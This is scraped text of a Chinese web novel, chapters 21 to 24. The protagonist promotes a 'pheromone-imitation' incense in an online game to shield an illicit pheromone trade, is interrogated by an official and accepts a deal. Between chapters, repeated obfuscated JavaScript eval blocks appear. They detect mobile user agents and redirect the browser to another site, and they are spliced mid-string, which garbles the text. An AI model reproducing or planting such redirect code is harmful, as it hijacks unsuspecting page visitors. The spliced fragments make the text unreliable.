RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357324|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德里,一个是罗西亚的大号——他是用小号在新手村招揽新人——还有一个没在迎新会上出现过,信息面板上的名字显示单字,洛。 洛的装扮中规中矩,没佩戴什么高阶武器,但安德里和罗西亚对他的态度相当尊敬。 他们下的副本名字叫《龙坑》,位于地下矿洞。里面有一种鳞甲坚硬、好战、贪食的地龙生物,体型较小,群居,是探索副本的最大阻碍。除此之外,还有空洞、沼泽、瘴气等环境的危险因素。 《星际野望》追求游戏体验感,玩家可以调节痛觉,虫族生来皮糙肉厚,大部分玩家选择的都是100%拟真。因此探索过程中新手们都很兴奋,还有些紧张,表现出来就是叽叽喳喳说个不停和好动。 在一片嘈杂中,乌舍安静得尤为突出,罗西亚忍不住问他:“你不激动吗?” 乌舍说:“游戏而已。” 罗西亚问:“你痛觉调整到多少?” 乌舍说:“100%。” 安德里闻言插话:“游戏里的死亡体验很真实,要做好心理准备。” “是吗?”乌舍笑了笑,“那挺好的。” 这下连一直沉默寡言的洛都看了他一眼。 通过废旧缆车下到矿洞深处,他们算是正式进入了副本范围。洛抬手示意大家安静,整支队伍以三角形向前突进。 昏暗中窸窸窣窣的爬行声响起,队伍最后的玩家忽然发出一声惨叫,护在队伍左翼的安德里立刻冲去,但他在一刀斩断地龙脑袋的同时,那个玩家已经被咬断了脖颈。 这像一个信号,周围的窸窣声骤然放大,数以百计的地龙一齐朝他们扑来。 “收缩队形!撑防护盾!对外!” 防护盾是完成10级升级任务后公会下发的奖励,属于V50的一次性消耗物品,持续时间15分钟。《龙坑》属于50级副本,地龙的单体攻击能力在V30,在防护盾的保护范围以内。 虫族的团体协作能力似乎是天生的,除了乌舍慢了一步,所有队员第一时间服从指挥,整支队伍霎时凝聚成了一道钢铁防线。 枪炮开火的声音、玩家的嘶吼、地龙的尖鸣,一切声响裹挟着乌舍,仿佛整个矿坑都在震动。 一批批地龙的身体砸在防护盾上,反震力让他的手腕微微发麻,他跟着罗西亚的动作,用长剑捅穿扑上来的地龙的脑袋。这种生物形似蜥蜴,但比蜥蜴大,扁平的脑袋,皮肤呈红褐色。它们的鳞甲很难穿透,乌舍就用刀剑从眼眶斜着刺入,腥臭的血液溅上护盾滋滋作响,它们的血液具有腐蚀性。 时间推移,护盾的光辉越来越黯淡,在第十四分钟,洛解除护盾,孤身冲了出去。 他吸引了所有的地龙,并在众玩家眼前展开了一场单方面的、干脆利落的屠杀,剩下的几十只地龙被他轻易斩断头颅,矿洞地面被血液腐蚀得坑坑洼洼。 十五分钟结束,能量耗尽,防护盾变成一面废铁。 整支小队在战后松懈下来,玩家们沉重的喘息在空荡荡的地下尤为清晰。一路来表现得相当沉稳的乌舍忽然扔开护盾,动静引来玩家们的注意,他拿出游戏里只起配饰作用的香薰挂件,双手合拢握住,做作又夸张地说。 “谢天谢地。” 21. 第 21 章 防护盾砸落地面的声音就像一声战斗结束的号角,其他人也纷纷松懈下来。 因为指挥得当,他们没有再损失队员,最开始被袭击身亡的倒霉蛋的尸体已经化为数据流,原地只剩一滩血迹。 罗西亚把双枪别回腰间,走到乌舍身边:“看你刚开始那么冷静的样子,还以为你真不怕呢。现在知道副本有多危险了吧?” 乌舍仍握着香薰,点了点头:“确实危险。” 罗西亚忍不住问:“你手里这个......就是普通的配饰吧?不像是有疗伤功能的圣物。” 《星际野望》中具有疗伤、恢复体力、治愈精神损伤的治疗类用品统一被称呼为圣物,罗西亚一眼就看出他手里的香薰毫无实用价值,但鉴于他一结束战斗就握着香薰不放的行为,也有些不确定起来。 乌舍笑了,把香薰挂回腰间,说。 “不是圣物,只是配饰而已。我在线下有一个香薰挂件的护身符,习惯了到哪儿都带着,所以在游戏里找了个差不多的。” “哦,明白了!这有点像你的信仰。” “算是吧,我比较喜欢香薰,还在经营香薰生意。” “所以你的面板简介其实是在给自己的生意打广告吗?” 罗西亚记得迎新会上,乌舍在自我介绍的时候,他点开过对方的信息面板,上面的简介写的就是出售香薰。当时他还不太理解,以为乌舍是经营类玩家,想在游戏里开个香薰店铺——《星野》涵盖的物品种类很多,玩法多样,开个香薰店也没什么奇怪的。只是现在才知道他指的是线下售卖。 乌舍坦然承认,又说:“我的生意刚起步,卖的香薰又比较特别,只好用这种宣传的办法。” 罗西亚其实对这种精致的小玩意儿不感兴趣,但出于礼貌还是问:“哪里特别呢?” 乌舍平常地说:“是仿雄虫信息素的香薰,对雌虫的抚慰效果很好。” 此话一出,原本扎堆凑在一块放松闲聊的队友都扭头看他,连洛和安德里都露出惊讶的神色。 乌舍维持着镇定的表情,半晌,才有队友“嗤”一声笑了出来。 他转头看去,对方连连摆手:“不好意思,我不是想嘲笑你。但是......” 笑声蔓延,在场的玩家纷纷反应过来,一齐哄笑出声。 “喂,乌舍,你知不知道首都科学院研究合成信息素研究了多久?几千年了都没成功!你说你弄出来了?” “对啊,就是。我记得历史教材上还说,五千年前最高科学院号称合成了‘史上最拟真’的雄虫信息素。当时在首都星派发试剂的盛况空前,几乎整个首都星的雌虫都聚到一块儿了,结果这个试剂只是让一大批雌虫过敏了而已。” “哎呀,你吹牛吹太大啦!” 乌舍默然记下他们话中透出的信息,等他们笑完,才说:“但是我说的不是合成雄虫的信息素啊,我只是仿照信息素的气味来制作香薰。” “当然和真正的信息素的气味有些差别,也无法替代信息素的作用,但是气味已经很像了。设想一下,等劳累了一天回到家,能被雄虫的气息团团包裹——就算是虚幻的,也能让心情变好吧?” 他解释完,队友们的表情从不屑变得将信将疑起来,毕竟乌舍说得很清楚了,只是仿照雄虫信息素的气味...... 居然真的有玩家问:“你这个香薰,怎么卖啊?” 乌舍淡淡道:“10万英吉10ML,不含运费。” 一直旁听的安德里下意识说:“太贵了。” 洛看了他一眼,安德里动作一顿,发觉这句问话实际上暴露了自己心动的事实,不由露出不好意思的神情。 其他玩家也七嘴八舌地说,“就是啊!”“不如去抢”“你不会是骗钱的吧”...... 乌舍本来就没有打算真的开拓香薰线上出售的渠道,只是看中了《星野》广泛的玩家受众,想要以这种方式散播开“仿雄虫信息素香薰”这个概念,面对队友的质疑,姿态轻松道。 “确实不便宜,但是研发需要成本,价格不可能更低了。如果大家不打算买,那我们就不要再聊这个。” 他这种沉稳的态度反倒让队伍里的质疑声变小了,短暂的休息时间里,时不时有雌虫玩家往他这边看。连安德里发话继续前进后,队伍成员都还有些心不在焉。 也因此,面对后面更加危机重重的路线,玩家们反应不及,整支队伍很快全军覆没,最终只探索到副本三分之一不到的位置。 在复活点刷新,重新回到公会后众玩家忍不住围着乌舍好一通埋怨,说话时让大厅里其他玩家也知道了“仿雄虫信息素香薰”的事,不免又引发了新一轮的震惊、怀疑、好奇与讨论。 乌舍耐心地陪他们聊了个够,确保来问的每个玩家都明白了香薰仅仅是仿信息素的气味,而非合成信息素本身,才准备下线。 没想到下线前收到好友申请,他点开一看,来自洛。 乌舍微怔,抬头,恰好和二楼靠着围栏望向他的洛对上视线。对方做了个让他上来的手势,他思量片刻,迈步上了二楼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357325|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛见他上来,转身推开了邻近的交易室的门。门内又有多个小房间,他们一前一后进入其中一个,洛开门见山地说。 “你说的仿雄虫信息素气味的香薰,我要一支。” 乌舍动作微顿,确认到:“十万英吉一支,一支10ml。” 洛颔首:“可以。” 这笔生意出乎乌舍的预料,他看着洛:“先给我你的地址,部分地区我们不配送。” 洛没有多说,直接将收货地址发到了他的消息窗口。 乌舍点开看了看,是主城区内一个普通的住宅区,看起来没有什么特别。 他说:“先付全款,再发货。” 洛这回却没有马上同意,平静地看向他说:“生意没有这么做的,我可以先付30%的定金,货到再付尾款。并且你需要保证香薰的气味能达到你说的效果,否则我也不会支付尾款。” 他条理清晰地报出要求,没有执意要购入香薰的意思,乌舍反倒心中一定。 乌舍说:“50%的定金。” 洛沉默着思考了片刻:“可以。” 乌舍将索玛的收款账户发给了他,约定好收到定金后发货,没再多说便下线了。 索玛半月前来了他这儿一趟,取走了这个月的两支太阳花和两支冷火,以及几个雌虫的报酬。 放逐区的暴徒贪图雄虫信息素的抚.慰,会捂死香薰的存在,但这并不代表香薰能够永远安全隐秘地在地下流通。事实上,这种高风险的生意,他们也没做到不留任何破绽,被发现是迟早的事。 乌舍要做的,就是在被发现然后立即盖棺定论扣上相关罪名之前,为这桩生意铺垫出一条“合情合理”,能够在危急之境挣扎的生路。 ——模仿雄虫信息素的气味制作香薰,先让大众接触到这种概念,继而让小部分受众切身感受到好处。那么当“利用雄虫信息素制作香薰”此类消息爆出后,大众不会依照惯性思维认为这件事罪大恶极,自然而然会联想到新接收的讯息,在“模仿”和“利用”之间摇摆,并在受益者的影响下对香薰本身产生好奇。 一旦好奇者多了,大众便会倾向于相信这是种“模仿”,因为只有这样他们才有可能去体会和使用所谓的“仿雄虫信息素香薰”。 即使最后受影响者不那么广,在两种概念间摇摆的受众不那么多,利都大众仍集体偏向于要对流通的香薰问罪,但只要有动摇和好奇的力量,多少也能给乌舍留出转圜的余地。 乌舍是天生的悲观主义,习惯走一步看三步,有备无患。 22. 第 22 章 乌舍叫来了何家兄弟,让何冬塞把汗液香精稀释10倍,再将稀释后的香精滴入固化剂,放进香薰溶液。 何慈林拿着玻璃瓶闻:“这样就闻不出信息素的味道了呀!” 乌舍用眼神示意,何冬塞自己闻了闻,迟疑着说:“确实不怎么闻得出来,但是......闻起来会觉得舒服。” 雄虫的信息素对于雌虫天然具有安抚作用,因为它们是精神力的衍生物,所以雄虫信息素的气味其实不重要,重要的是功效。 乌舍笑了笑,拿回香薰,盖上盖子:“闻着舒服,有一点若有若无的相似就可以了,气味太明显反而不好。” 何家兄弟已经听过乌舍的想法,此刻对他的话表示了认同。他让何冬塞找自己日常进购香薰原料的托运站把这支香薰寄出去,这样快递只会显示托运站的地址和联系方式。 做完这一切,两天后,索玛的账号收到了来自洛的尾款。 虫族社会商贸货运体系十分发达,同星球任何地区三天之内都能到货。从洛给的地址看,他和乌舍都住在利都的主城区,正常情况下当天就能到货。 而洛却整整隔了两天才汇来尾款,同时在游戏里给乌舍发来消息,简简单单一句话流露出真切的茫然与不解。 他问:“你怎么做到的?” 乌舍这段时间每天都会上线,看见后回复:“这是我的生意,你觉得我应该告诉你吗?” 洛冷静下来,建议道:“你应该向政府申请专利,这是了不起的技术,通过官方渠道能得到更好的保护。” 乌舍礼貌回应:“谢谢,不过我还是希望把研究出的配方掌握在自己手里。” 洛沉默下来,就在乌舍要结束聊天的时候,他突然问。 “这个香薰有名字吗?” “我是说,它的气味,究竟是一种什么样的......” 乌舍回复:“冷火,它叫冷火。” 有关雄虫的话题总是新鲜的,公会里不少玩家听说后都来找乌舍打听“仿雄虫信息素香薰”的事,好奇的声音和怀疑的声音一样广,还有试图和乌舍讲价的,但乌舍非但没降价,还把10ml香薰的价格提高到了20万英吉。 这下原本咬咬牙打算购入香薰一探究竟的玩家也放弃了,认为乌舍这是蓄意炒作、饥饿营销,或者他根本就是打算敲诈一笔就跑的骗子。 ——由此可见,唯一购买了香薰的洛并没有去宣扬香薰的使用感。这也符合乌舍对他性格的初步判断:沉稳、内敛、不爱多管闲事, 而除了他之外,公会里也再没有玩家真正购入香薰。 事情的转变发生在乌舍第三次跟队下副本,这时,他们已经把《龙坑》这个副本探索到了三分之二。一路上队伍经历了五波规模不等的地龙袭击、斩杀了一只50级的龙王,越过了充满毒气的迷踪石窟,并完成了支线任务的探索。正在支线任务完成后短暂的安全时间内,在原地进行修整。 事实上,不含领头的洛、安德里和罗西亚,整支队伍只剩下了包括乌舍在内的三名新手玩家。公会里大部分新手都参与了本次探索,死伤惨重,活到现在的新手除了乌舍都是氪金玩家,都是依靠越级装备在绝境里保命。 至于已经弹尽粮绝的乌舍为什么能活到现在...... 大家的目光纷纷在乌舍和不远处独自靠着石壁闭目休息的洛身上打转,正当队友想和乌舍搭话,问询他和公会前辈是不是有私交,为什么洛一路上这么照顾他时,安德里先一步走到了他面前。 氪金菜鸟们顿时安静,纷纷开口招呼:“副会长。” 安德里随意摆了摆手,面带犹豫地望向乌舍:“方不方便......” 乌舍早就注意到副本开始以来安德里时不时落在自己身上的视线,耸了耸肩,站起来和安德里去了旁边的角落。 队友的表情更好奇了。 乌舍心中倒是有所猜测,果然,站定后就听安德里问。 “你研究的那种香薰,可以卖给我一支吗?” 乌舍笑了笑:“10ml,20万英吉,先付50%的定金。” 安德里显然已经打听到了这些消息,也没对乌舍涨价后的金额发出质疑,下定决心似的干脆地把地址发给了他。 安德里:“我出了游戏就给你转定金。” 乌舍的目光扫过地址,发现和洛是同一个小区同一栋楼,就是相邻的上下楼层。大约他们线下就认识,那么安德里能找自己买香薰也不奇怪。 他点头,把收款账号发给了安德里,约定好交易,安德里不由松了口气。他确实从洛那里知道对方购买了香薰,但洛并没有告知他这种香薰是否有那么神奇,真的可以仿出雄虫信息素的气味。 因为乌舍已经把只是模仿信息素气味这个概念说得清清楚楚,那么心有幻想的雌虫购买它自然也不是为了什么身体健□□理健康倒差不多。换句话说,这种仿雄虫信息素香薰更偏向于满足雌虫臆想的情.趣用品,要安德里去逼问洛使用感,显然他还没有那种脸皮。 更重要的,他疑心洛就算被骗了也不会坦诚地承认,直到这次下副本,他看见洛总是主动把乌舍护在身后,心中的天平才终于倾向了“相信”那一边。 等乌舍和安德里往回走,耐不住好奇的队员扬声问了句:“副会长,你和乌舍说什么小秘密呢?不会是背着我们传授什么生存秘籍吧!” 安德里笑骂:“怀疑我偏心呢?我找他是因为私事。” 另一个队员接话:“你们有什么私事啊?” 安德里看了眼身边的乌舍,见他没有阻拦的意思,便说:“我找他买香薰。” 这下,原本脖子伸得长长的两个队员都安静了,下意识交换了一个眼神。 其实香薰的价格对于他们来说不算贵,20万英吉10ml的香薰就和其他等价奢侈品一样,属于他们的日常消费。 仿雄虫信息素的香薰在公会里被炒得热热闹闹,他们也很感兴趣,之所以一直没入手,主要是不想当冤大头。 但现在,居然连副会长都买了。而且副本里洛对乌舍这么照顾,是不是...... 队员之一热血上脑,一时没忍住,接话道:“那我也买一支吧,可以吗?” 旁边的队友惊讶地看了看他,两秒后也接上:“我也想要一支。” 乌舍挑了挑眉,让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357326|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们发了地址。这两个队员不在主城区,在另一个城区,乌舍查阅利都地图的时候听A13介绍过,是利都星内较为繁荣的区域之一。 这三支香薰,乌舍照常是让何东塞稀释过后才寄出去。给安德里的是太阳花,另外两支是冷火。 尾款到得很快,收到香薰的三个雌虫玩家和洛的反映如出一辙。像洛那样低调、守口如瓶的雌虫大概是少数,就连平常看上去相当稳重的安德里都在激动过后,忍不住和另外两个队员交流起了使用感受。 消息交换得知气味居然还有两种后,他们彻底信服了乌舍的研发技术,那两个队员还追问他实体店的品牌叫什么名字,并提出可以投资他,把品牌发展成连锁店。 乌舍统一回复:“成本太高,只接定制。” 两个队员瞬间接受了这个说法,转而要求购买另一种气味的香薰。乌舍再次拒绝,说他一个雌虫只接一单生意,因为雌虫不能沉迷在追求各种信息素的路上,要保持灵魂的纯洁与忠贞。 三步远外,同样准备找乌舍购买另一种气味的香薰的安德里,羞愧地停下了脚步。 这种理由当然是乌舍瞎扯的,他需要把“仿雄虫信息素香薰”的产品概念推广出去,但并不想让太多香薰流入放逐区之外的市场,那不可控。 暴徒会基于切身需要,就算察觉到什么也会把香薰的秘密捂得紧紧的,普通的雌虫和亚雌则不然。 乌舍拒绝的话术完全参照地球上“男人一生只能定制一枚婚戒”的广告词,因地制宜做了改编,轻而易举说服了眼前两个雌虫玩家。 有了吃螃蟹的领头消费者,香薰效果的真实性得到验证,更多的玩家蠢蠢欲动,名气甚至传到了其他公会。《星际野望》利都星区的游戏论坛专门有一个帖子在讨论这件事,热度逐渐高涨,帖内一个不知真假的香薰消费者现身说法,把体验感描绘得十足生动,收获无数点赞,还被加了精。 但同时,乌舍把香薰价格一口气提了15万英吉,要价35万英吉10ml,又让一批原本决定购买香薰的玩家死了心。 不过,陆陆续续也有氪金玩家找到乌舍,总计下来,两个月的时间,乌舍在游戏里一共出售了十支香薰。 他账户上的存款达到了一千三百五十万英吉,这也是乌舍来到这个世界的第十二个月,整满一年。 在这天,他心血来潮叫A13购买了一大堆昂贵的食材,制作了丰盛的晚餐,还装饰了房屋。奴役完可怜的管家机器人后,又邀请了何家兄弟来家里一起吃饭。 A13围着围裙,迷茫地问:“阁下,今天是什么节日吗?” 乌舍伸了个懒腰,大笑道:“当然,这是庆祝我又多活过了一年......如果非要说什么节日的话,我将它命名为复活日!” A13刚要说什么,门铃响了。乌舍指派它去开门,但房门打开,出现在前院里的并非何家兄弟,而是两名身穿制服、身材魁梧的雌虫警官,在他们身前,还站着在星政府门口与乌舍曾经有过一面之缘的雌虫。 对方灰白的发丝梳得整齐,眼神与傍晚的天际一般灰沉,他面容平静且富含某种深意,对上乌舍投来的目光时,微微笑了一下。 23. 第 23 章 乌舍坐在审讯室里,这里和上回他因殴打雄虫而被请去警局的时候不同,更像个讯问的地方。阴森又冰冷,金属材料的墙壁在白色的灯光下反射出冷茫。 “您知道自己为什么会在这里吗?阁下。” “我不知道。” 乌舍面对坐在正前方的雌虫,这个雌虫带着调查令出现在他家门口的时候,进行了自我介绍。他是利都星政府第一执行官,左伦·赫尔蒙斯。 左伦已经年过150岁,这是他连任执行官的第50年。当他用那双沉如夜色的双眼注视着你的时候,仿佛一切都会被他用目光剖开。但,这其中不包括乌舍。 他无动于衷地坐在坚硬的座椅上,和左伦对视近一分钟后仍未出现什么明显的情绪波动。左伦又看了他一会儿,忽然笑起来。 “您真不一样。” “阁下,如果是其他雄虫坐在这里,光是冷色调的灯光、不舒服的座椅和没有窗的房间结构,就足够他们落泪。而您——坚强得多。 “谢谢。”乌舍说,“还有其他雄虫坐在这里过吗?” 左伦说:“有。” 他问:“您知道理由吗?” 见乌舍摇头,他戴着权戒的手不紧不慢地敲击桌面,娓娓道来。 “有的雄虫是因为金融犯罪,个别雄虫涉及盗窃政要机密。但更多的,还是暴力犯罪。” “一个雄虫能拥有无上限的雌虫伴侣,正式缔结过婚姻关系的雌虫被称为雌君,其余都只能称作雌侍。然而对于雄虫来说,雌君实际与雌侍们并无不同,除了法律上的地位高一些,都只是雄虫的玩具而已。” “在这间审讯室里,接收过因为口角就割下雌虫头颅的雄虫、为了金钱将雌虫圈养反复拨下虫壳的雄虫、将雌虫和亚雌幼崽卖进苦役市场的雄虫……这些行为最后大多会被定性为‘过失犯罪’。” 乌舍静静听完了他的话,没有露出任何特殊的表情。 左伦看着他,仿佛在等待什么,但最终什么也没等到。他眼中显出类似于失望的情绪,很浅,雾气似的拂过,随后微笑着说。 “而您做的事比他们还要恶劣得多。” 乌舍反问:“哦?” 左伦说:“您有意勾结暴徒,教唆未成年雄虫出卖信息素,并利用雄虫信息素制作违禁品,构成了走私雄虫器官罪。” 他的语气骤然沉下来,脸上似有若无的笑意消失,唇角拉平成锋利的直线,去掉了敬称,以审判的语气下了结论。 “你是这桩可怕的生意的主谋,按照《雄虫特殊保护条例》,可以顶格判处死刑。” 乌舍缓缓向后靠在椅背上,表现出仿佛是被吓到了的姿态,但他开口时说的是:“我不知道你在说什么。” 左伦站了起来,居高临下地望着他,抬了抬手。 下一刻,身着警服的雌虫走进来,手里捧着一个黑色的手提箱。他将手提箱放在桌面上打开,里面放着两支荧蓝色的香薰,以及一份纸质的鉴定报告。 在左伦的示意下,警卫将手提箱推到了乌舍面前,审讯室惨白的灯光下香薰溶液反射出幽深的光泽。 左伦轻声说:“你知道它们是什么。” 乌舍平静地说:“两支香薰。” 左伦唇角下陷,流露出嘲弄的意味:“但鉴定报告表明,它们不仅仅是香薰。” 乌舍于是拿起鉴定报告,认真看了起来。上面有很多专业术语,艰涩难懂,但他仍旧阅读下去。直到十分钟后,他的目光落到鉴定报告最后一行所述的结论上:本溶液中确含有E级雄虫信息素成分。 “所以呢?”乌舍说:“我确实在做香薰生意,但我不懂你的意思。” 左伦不紧不慢地说:“这两支香薰是主城区附属1区的一名雌虫主动报警上交的,经那名雌虫口述,香薰出售者是《星际野望》这款游戏的玩家,据卖方说这种香薰能够仿制出雄虫信息素的气味。他们在游戏中认识并达成交易......但在真正收到香薰并进行使用后,这名雌虫产生了怀疑。” “‘——我堂哥就是雄虫,我觉得这个香薰给我的感觉,与其说是气味的相似,不如说是感受的相似。毕竟每一位阁下的信息素的气味都不同,却都能给予雌虫舒适的生理体验。我去问了我另一个购买了香薰的朋友,他也是这么觉得的,我们怀疑卖家在利用雄虫的信息素进行谋利,特地来报警’。” 左伦按下手中录音器的按钮,结束了录音的播放,继续说。 “核查过接收货款的账户后,我们确认它属于一个名叫索玛的暴徒。更进一步,我们发现这种香薰也在放逐区出现,并且已经流转了近一年的时间,出售者正是索玛。通过调取磁悬浮列车内部、列车始发点以及LE区出入口的监控,我们掌握了你们来往的证据......你还需要我说更多吗?” 乌舍听完,丝毫不回避他的视线,反问:“你还有更多吗?” 左伦动作一顿。 乌舍忽然笑了笑:“就现有证据看来是这个索玛在走私违禁品,那你们就去审问他好了,为什么要来问我?还是说,你们已经问过他了?” 他和索玛除了每月一次交付香薰外并不见面,也只有涉及到香薰交易相关才有消息往来,算算时间,他和对方已经有半个月没联系。确实存在索玛已经被逮捕接受讯问的可能性,不过这种可能性很低。即使在被警方监控,除开他自己,还有泰诺斯他们,乌舍不可能收不到一点消息。 而且假使已经获得了索玛的指认口供,对方刚刚播放的就不会是陌生买家的报案口述了。 左伦盯着他,过了会儿说:“......先找你,是基于‘保护雄虫原则’优先记录你的口供,你只有在这个环节足够诚实,才能为自己争取更多的减刑。” 乌舍笑着说:“我又没有罪,减什么刑?” 左伦抛出另一个问题:“利都有每一名雄虫的详细备案,从出生年月到体貌特征,包括信息素在内。现在市面上流通的香薰中其中一种所含信息素成分和你的邻居,何慈林一致,对此你没什么想说的吗?” 乌舍依旧是那句:“这是何慈林自己的事,似乎也不应该来问我吧?” 左伦步步紧逼:“索玛走私违禁品已经是板上钉钉,但还有一个问题,他的货源从哪儿来?你同时熟悉索玛和何慈林及其兄长何冬塞,我们从银行后台查到了你们之间的资金往来,何慈林的信息素又和香薰成分一致,乌舍,所有证据都指向你,你是最大嫌疑人,这些关联不是你一句与你无关就能否认的。” “再者,如果你咬定了要撇清关系,索玛和何家兄弟会担下所有罪责,你打算亲手将他们推向死路吗?” 乌舍首次在审讯室内沉默下来。 左伦心中微动,面上的神情却没有一丝变化,只是静默着与他对视。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357327|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半晌,乌舍张开双唇,就在左伦以为事情终于要有突破口的时候,听到雄虫不紧不慢的声音。 “索玛是雌虫,而我是雄虫,一个雌虫给雄虫转账,还需要什么特定的理由?至于何冬塞,我们之间的金钱往来是因为我入股了他名下的香薰店铺,我只负责提供创意和抽检最后的成品,香薰的具体制作过程、加入了什么原料我并不清楚......其实我不需要向你解释这么多,执行官。你擅自调取我的账户流水信息,这已经违反了《雄虫特殊保护条例》中隐私权的相关规定。即使你把银行流水单摆在法庭上,它们也无法作为证据进行指控。” “而且你第一个就找了我,没去找索玛,也没有去找何家兄弟。明明他们一旦给出符合你推测的口供,你不用和我周旋这么久,马上就能将我定罪。” “执行官,你的一系列行动让我觉得你是想让我私下和你认罪。或者说,用法律将我定罪不是你的最终目的,不如直接说吧,你到底想要什么?” 沉默的换成了左伦,他从未预想过和乌舍的谈话会发展到这个地步。这个雄虫不如他所想的那么有怜悯之心,却机敏得可怕。 但他毕竟浸淫权力多年,花去几秒钟平复意外后就恢复了镇定。 “不得不说,你确实令我刮目相看。” “我以为你和其他雄虫不同,是因为你对亚雌和雌虫怀抱感情,实际你冷心薄情与其他雄虫毫无区别,却比那群酒囊饭袋聪明太多。” “你这么聪明,也应该明白,凭我现在掌握的线索,要定你的罪谈不上非常容易,但也并不困难。我之所以与你周旋这么久,是想和你做个交易。” 乌舍淡淡挑眉:“什么交易?” 左伦一字一顿道:“我要你为全虫族做一个榜样。” “你或许清楚自己的名声,在“商贸区平权宣言事件”后,你成为了利都星内亚雌、雌虫心中与众不同的雄虫。实际上不仅如此,当时的现场视频已经流转到了其他居住星,甚至连四大城市星的网络热榜上也出现了你的事迹,有网友称你为雄虫中的......平权先锋。” 左伦意味不明地咀嚼着最后几个字,一晒后继续道:“我要你坐实这个名声,政府会为你安排一份体面的工作,让你参与一些社会运动和平权论坛,不管你以前是出于什么目的帮助了那个雌虫、心里的真实想法又是什么,以后你要表现出温和、谦逊和知理,对待所有性别一视同仁。” 乌舍问:“你想推出一个偶像?” 左伦琢磨了一下这个词汇,颔首:“可以这么理解。” 乌舍笑了下:“活在你们的监视下,一言一行都有要求,似乎和活在监狱里没什么不同。” 左伦说:“作为平权英雄活着,和作为罪犯被审判,还是有很大区别的——请你好好考虑。” 乌舍暂时从审讯室回到了家里,他有三天的时间可以考虑。 到家后,应邀而来却吃了闭门羹的何家兄弟已经离开,没有乌舍的指令A13不会擅自开门。原本装扮得热热闹闹的客厅因为少了喧闹显得空洞,桌上丰盛的晚餐已经成为冷炙。 A13跑过来,呆愣愣地撞上了他的小腿,仰头用迷惘地眼神问。 “小阁下,你去哪里了?” 乌舍平静地揉了揉它的圆脑袋,说:“帮给我菲拉洛发个消息,由我出全款,让他以自己的名义替我买一艘星舰。” 24. 第 24 章 因为昨天未能履行的晚餐邀约,何家兄弟次日特地上门询问情况。 乌舍也正好要找他们,开门将兄弟俩迎进来之后,三人在书房待了一上午。A13被关在门外,连果盘都送不进去,只能委屈地在客厅转圈圈。 中午吃过午餐,何家兄弟心事重重地走了,乌舍转而联系了索玛。 他知道自己一定在政府的监管之下,甚至索玛也是,但他依然让对方过来了一趟。 仍旧是书房,A13自觉地待在客厅。但没多久他就听到书房里传来重物落地的声音,好像是有谁用力打翻了什么东西。 A13不放心地叫了一句:“小阁下?” 但是没人理它,书房里也不再传出动静,隔音效果良好的门掩住了书房内交谈的声音,整个屋子陷入一片死寂。 两个小时后,索玛也出来了。他的眼眶通红,面色比何家兄弟还要沉重,连脚步都跟胶着似的疲惫——自从他开始从乌舍这里获得鲜血之后,他甚少显出如此模样,仿佛一夕之间雄虫信息素带给他的疗效消失,痛苦再度降临到了他的身上。 但送走了所有客人的乌舍却表现得和平常并无不同,他神态自然,进画室待到了晚上,接着才给这个星球的最高行政执行官回复消息。 他说:“我同意你的提议。” 利都-主城区,中心医院。 洁白的病房和走廊,空气里充满着消毒水的味道。等待区的椅子上坐着一批批患病的雌虫和亚雌,幼儿治疗区时不时爆发出幼崽响亮的啼哭。 这里就是乌舍和左伦达成协议后的第一个工作地点。 临行前,左伦特地安排警员,接他过来做了一次“培训”。当时,这个位高权重的中年雌虫用那双烟灰色的眼睛盯着他,脸上露出他对着乌舍时总会显出的、说不清道不明的神情,微微笑着开口。 “你知道什么叫‘社会服务’吗?” 乌舍当然知道,他曾经是红十字协会的会员,做过将近三年的义工。 但他没有接话,目光呈现恰到好处的迷茫,因为看左伦的模样似乎认定他不该知道。 果然,对方没有发现异常,继续讲了下去:“在赫拉德,里面的雄虫需要定期服兵役。被抽到的雄虫至少要服满十年的兵役,他们会按等级分配到不同的军旅,但这些军旅有同一个名字,那就是——疗愈旅。” “疗愈旅下辖十数支连队,他们会在全军团范围内轮岗,用精神力治疗那些受伤的士兵。除了服役中的雄虫外,赫拉德还推出了一项积分制度,居住在这颗星球上的雄虫可以通过社会服务获取积分,然后依靠积分兑换更高的福利待遇。” “社会服务包括慰问留守儿童、成为医疗义工、认领一个暴徒化的雌虫做长期疏导等等。”左伦观察着乌舍的表情,笑了笑:“不错的制度,是吗?” 